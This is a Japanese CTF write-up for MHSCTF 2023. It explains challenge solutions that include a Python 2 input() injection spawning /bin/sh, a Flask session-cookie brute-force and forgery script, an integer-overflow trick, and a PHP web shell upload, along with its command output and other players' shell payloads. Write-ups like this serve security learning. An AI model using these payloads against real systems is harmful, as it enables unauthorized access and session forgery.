MHSCTF 2023 Writeup

この大会は2023/2/2 2:00(JST)~2023/2/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は29点で895チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

Jan. 31 — Hello! (MISC 1)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

valentine{s4n1ty_ch3ck}

Feb. 1 — Balloons (PWN 2)

print文に括弧がないので、python2系で動作していると思われる。evalと同様の動作をさせられるので、OSコマンドを実行できる。

$ nc 0.cloud.chals.io 34293
Welcome to your balloon order-tracking portal! Enter your tracking number here.

__import__('os').system('/bin/sh')
ls -l
total 24
-rwxr-x--- 1 root ctf 280 Feb  1 05:23 Dockerfile
-rwxr-x--- 1 root ctf 103 Jan 31 02:16 balloon_tracking_lookup.py
-rwxr-x--- 1 root ctf 369 Jan 31 02:17 balloon_tracking_lookup.pyc
-rwxr-x--- 1 root ctf 369 Feb  1 05:24 balloons.py
-rwxr-x--- 1 root ctf  91 Feb  1 05:23 start.sh
-r--r----- 1 root ctf  75 Jan 31 02:16 valentine.txt
cat valentine.txt
valentine{0ops_i_go7_hydrog3n_ball00n5_NONOWHEREAREYOUGOINGWITHTHATLIGHTER}
valentine{0ops_i_go7_hydrog3n_ball00n5_NONOWHEREAREYOUGOINGWITHTHATLIGHTER}

Feb. 2 — Chocolates (WEB 3)

HTMLソースを見ると、以下のコメントがある。

<!--<a class="head-cont nav-link" href="/hidden-page">Hidden Page</a> | -->

https://chocolates-mhsctf.0xmmalik.repl.co/hidden-pageにアクセスすると、以下のメッセージが表示された。

リンクされている/static/style.cssを見てみると、以下のコメントがある。

/* TEMP - here's a key in case i forget it: "?key=thedarkestchocolate" */

https://chocolates-mhsctf.0xmmalik.repl.co/hidden-page?key=thedarkestchocolateにアクセスすると、以下のメッセージが表示された。

"Click here to verify that you are an admin."をクリックし、https://chocolates-mhsctf.0xmmalik.repl.co/admin-check?key=anotherkeylolに遷移する。

そこにはImpostorの画像があるだけ。クッキーのsessionには、以下が設定されている。

eyJhZG1pbiI6ImZhbHNlIn0.Y9r38A.L3HuuWqH2H1FElR-RkBvEKtv-jo

Flaskのsessionのようなので、ブルートフォースでそのkeyを求め、"admin"を"true"にしたものを求める。

#!/usr/bin/env python3
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

cookie = b'eyJhZG1pbiI6ImZhbHNlIn0.Y-Nfrw.y2or1_6oCIXck7Xbqc3u_X6AncE'

with open('dict/rockyou.txt', 'rb') as f:
    words = f.read().splitlines()

for key in words:
    try:
        session = FlaskSessionCookieManager.decode(key, cookie)
        print('key =', key.decode())
        print('session =', session)
        break
    except:
        continue

admin_session = session
admin_session['admin'] = "true"
admin_cookie = FlaskSessionCookieManager.encode(key, admin_session)
print('admin cookie =', admin_cookie)

実行結果は以下の通り。

key = BATMAN
session = {'admin': 'false'}
admin cookie = eyJhZG1pbiI6InRydWUifQ.Y-ZKIg.N-D48WXlY7AQ4QeCETs7O_XhYhs

この値をクッキーのsessionキーに設定し、リロードする。

valentine{1ts_jus7_100%_cacao}

Feb. 5 — Rescue Mission (PWN 6)

サーバの処理概要は以下の通り。

・typedef struct {
   int health;
   int attack;
   int priority;
 } entity;
・entity player = {100, 3, 4};
・entity boss = {1, 250, -1};
・int money = 15;
・srand(time(NULL));
・[Enter]入力待ち
・3回以下繰り返し
 ・doShop(money);
  ・selection: 入力(0~3)
  ・selectionが0の場合
   ・done = 1;
  ・selectionが1の場合
   ・selection: 入力(1~3)
   ・quantity: 入力
   ・selectionが1の場合
    ・price = 5
    ・buff = 3
   ・selectionが2の場合
    ・price = 20
    ・buff = 15
   ・selectionが3の場合
    ・price = 50
    ・buff = 50
   ・qint: quantityの数値化
   ・quantity[0] が "-"の場合、qint *= -1
   ・int cost = qint * price;
   ・costを表示
   ・costがmoneyより大きい場合
    ・メッセージ表示
    ・入力待ち
   ・costがmoney以下の場合
    ・moneyからcostマイナス
    ・player.health -= buff * qint;
    ・moneyを表示
    ・入力待ち
  ・selectionが2の場合
   ・quantity: 入力
      ・int price = 10;
      ・int buff = 1;
   ・qint: quantityの数値化
   ・quantity[0] が "-"の場合、qint *= -1
   ・int cost = qint * price;
   ・costがmoneyより大きい場合
    ・メッセージ表示
    ・入力待ち
   ・costがmoney以下の場合
    ・moneyからcostマイナス
    ・player.attack -= buff * qint;
    ・moneyを表示
    ・入力待ち
  ・selectionが3の場合
   ・quantity: 入力
      ・int price = 20;
      ・int buff = 1;
   ・qint: quantityの数値化
   ・quantity[0] が "-"の場合、qint *= -1
   ・int cost = qint * price;
   ・costがmoneyより大きい場合
    ・メッセージ表示
    ・入力待ち
   ・costがmoney以下の場合
    ・moneyからcostマイナス
    ・player.priority -= buff * qint;
    ・moneyを表示
    ・入力待ち
 ・entity enemy = {rand() % 100 + 50, rand() % 3 + 3, rand() % 10};
 ・int earned = doBattle(player, enemy);
 ・earnedが0より大きい場合は勝ち、moneyがeaened分だけ増える。
・money = 15
・doShop();
・doBattle(player, boss)が0より大きい場合はフラグを表示

PRIORITYが大きく(優先度が低く)なってもよいので、PRI Upgradeで、整数オーバフローさせてお金を稼ぐ。

・quantity: 4294960000
→ PRI: 7300
→ money: $145935

次に稼いだお金でHP Upgradeをする。

・3. +50 HP
・quantity: 2000
→ HP: 100100
→ money: $45935

さらに稼いだお金でATK Upgradeをする。

・quantity: 300
→ ATK: 303
→ money: $42935

あとは適当に入力していけば、勝てる。最終的には以下のメッセージが表示される。

YOU SAVED ALEX!

Here's your flag: valentine{phew_s4f3_and_50und}
valentine{phew_s4f3_and_50und}

Feb. 6 — Passing Notes (CRYPTO 7)

暗号化処理の概要は以下の通り。

・b64_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\="
・field = list(GF(2**6))
・key = generate_secret_key(10)
 ・key = 1
 ・10回以下繰り返し
  ・keyにfieldからランダムに選択したものを乗算
  ・keyにfieldからランダムに選択したものを加算
 ・keyを返却
・encrypt(flag, key)を出力
 ・message: flagをbase64エンコード
 ・encrypted = ''
 ・mod_key = 6 * key**6 + 3 * key**4 + 7 * key**3 + 15
 ・messageの各文字について以下を実行
  ・encrypted += b64_alpha[field.index(field[b64_alpha.index(chr(char))] * mod_key)]

keyは64種類しかないため、ブルートフォースで復号する。

#!/usr/bin/env python3
from base64 import b64decode
from sage.all import GF

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            return False
    return True

b64_alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\="

field = list(GF(2**6))

enc = 'V4m\\GDMHaDM3WKy6tACXaEuXumQgtJufGEyXTAtIuDm5GEHS'

for key in field:
    mod_key = 6 * key**6 + 3 * key**4 + 7 * key**3 + 15
    dic = {}
    for char in b64_alpha:
        enc_char = b64_alpha[field.index(field[b64_alpha.index(char)] * mod_key)]
        dic[enc_char] = char
    message = ''
    for char in enc:
        message += dic[char]
    try:
        flag = b64decode(message)
        if is_printable(flag):
            flag = flag.decode()
            print(flag)
            break
    except:
        continue
valentine{th15_is_4_s3cret_m355age}

Feb. 9 — Music (WEB 10)

試しに"a"と入力して、送信してみると、以下にURLに遷移し、「Your message was saved at /message/nhwqq6828.php.」と表示された。

https://music-mhsctf.0xmmalik.repl.co/send.php?message=a

https://music-mhsctf.0xmmalik.repl.co/message/nhwqq6828.phpにアクセスすると、aと表示される。phpコードを入力したら、それが機能するかもしれない。以下を入力して、送信してみる。

<?php eval($_GET['cmd']); ?>

「Your message was saved at /message/awslv9932.php.」と表示された。
https://music-mhsctf.0xmmalik.repl.co/message/awslv9932.php?cmd=idにアクセスすると、以下のメッセージが表示された。

Parse error: syntax error, unexpected end of file in /home/runner/music-mhsctf/message/awslv9932.php(1) : eval()'d code on line 1

evalはダメのようだ。system関数を使う。以下を入力して、送信してみる。

<?php system($_GET['cmd']); ?>

「Your message was saved at /message/mhisb6727.php.」と表示された。
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=id にアクセスすると、以下のように表示された。

uid=1000(runner) gid=1000(runner) groups=1000(runner)

https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=pwd にアクセスすると、以下のように表示された。

/home/runner/music-mhsctf/message

https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=ls -l にアクセスすると、以下のように表示された。

total 5940
-r--r--r-- 1 runner runner   94 Feb  7 02:33 aacpv7162.php
-r--r--r-- 1 runner runner   39 Feb  6 06:33 abeyn1385.php
-r--r--r-- 1 runner runner    7 Feb  8 01:14 abnph0061.php
-r--r--r-- 1 runner runner   39 Feb  8 10:34 acdlq1509.php
-r--r--r-- 1 runner runner    3 Feb 12 06:44 acfmx9177.php
-r--r--r-- 1 runner runner    3 Feb  6 19:12 acmts5249.php
-r--r--r-- 1 runner runner   42 Feb 12 06:51 adblr2614.php
-r--r--r-- 1 runner runner   27 Feb  6 06:53 adbxs5511.php
-r--r--r-- 1 runner runner   26 Feb  6 12:22 adfgr5888.php
-r--r--r-- 1 runner runner   16 Feb  9 01:27 adkzq2556.php
        :
-r--r--r-- 1 runner runner  236 Feb  7 02:35 zvieu6265.php
-r--r--r-- 1 runner runner   14 Feb  8 05:50 zvikp3599.php
-r--r--r-- 1 runner runner   37 Feb 10 22:57 zvmxa1284.php
-r--r--r-- 1 runner runner   55 Feb  8 10:07 zvqxp8065.php
-r--r--r-- 1 runner runner    3 Feb  6 07:18 zweyc6044.php
-r--r--r-- 1 runner runner   93 Feb  8 00:55 zwmne5311.php
-r--r--r-- 1 runner runner   27 Feb  6 06:19 zxomm0118.php
-r--r--r-- 1 runner runner    0 Feb 13 14:47 zycgb1511.php
-r--r--r-- 1 runner runner   36 Feb  5 18:21 zyzrd4755.php
-r--r--r-- 1 runner runner   18 Feb  9 01:24 zzgko0680.php
-r--r--r-- 1 runner runner   47 Feb 12 07:00 zzlut4259.php

あまりにもたくさんあるので、grepで検索してみる。
https://music-mhsctf.0xmmalik.repl.co/message/mhisb6727.php?cmd=grep -r valentine . にアクセスすると、以下のように表示された。

./green2051.php:valentine{n3ver_g0nn4_give_y0u_up}
./pyxqy7576.php:<?php echo system("grep -ril 'valentine{'"); ?>
./dwohq2384.php:<?php echo system("grep -ril 'valentine{'"); ?>
./gshnh7383.php:$o= shell_exec('find / -name valentine');
./nxrtf6519.php:<?php echo(shell_exec('grep -R valentine'); ?>
./zjzai0749.php:<?php echo(shell_exec('grep -R valentine .'); ?>
./spyig5716.php:<?php echo(shell_exec("grep -R valentine ..")) ?>
./oioxq8481.php:$file = $_GET['valentine.txt'];
./papxh0354.php:$file = $_GET['valentine.txt'];
./tbutx4214.php:valentine
./uoots8312.php:valentine
./kutqx1663.php:valentine
./wqyar2704.php:$output = shell_exec('ls | xargs cat | grep valentine');
./mpxdc0136.php:$output = shell_exec('grep valentine *');
./sxfna5519.php:print($valentine)?>
./vvdab4826.php:exec('grep ../../ -R "valentine{"', $output);
./wxyhf4108.php:exec('grep "valentine" ../../ -R ', $output);
./rjgqv6117.php:<?php system("grep -ri "valentine" | base64");?>
./xnyko9393.php:<?php system("grep -ri "valentine" | base64");?>
./ysmib4234.php:<?php system("grep -ri valentine | base64");?>
./ivzsr9235.php:exec('grep "valentine{" / 2>&-', $output);
./qxbkp9094.php:exec('grep "valentine{" / -R 2>&-', $output);
./vezfq3927.php:echo shell_exec("grep valentine{ -rl ../");
./agkzc5613.php:<div><?php echo shell_exec('find / -name "valentine*"') ?></div>
./dqxdj4042.php:exec("ls /srv /root; grep 'valentine' -R /home", $output);
./yesoo7833.php:  exec($out, 'grep -R valentine{');
./shxle9452.php:exec("grep 'valentine{n3ver_g0nn4_give_y0u_up}' -R .", $output);
./qbsps5810.php:valentine

./green2051.phpにフラグが書かれていた。

valentine{n3ver_g0nn4_give_y0u_up}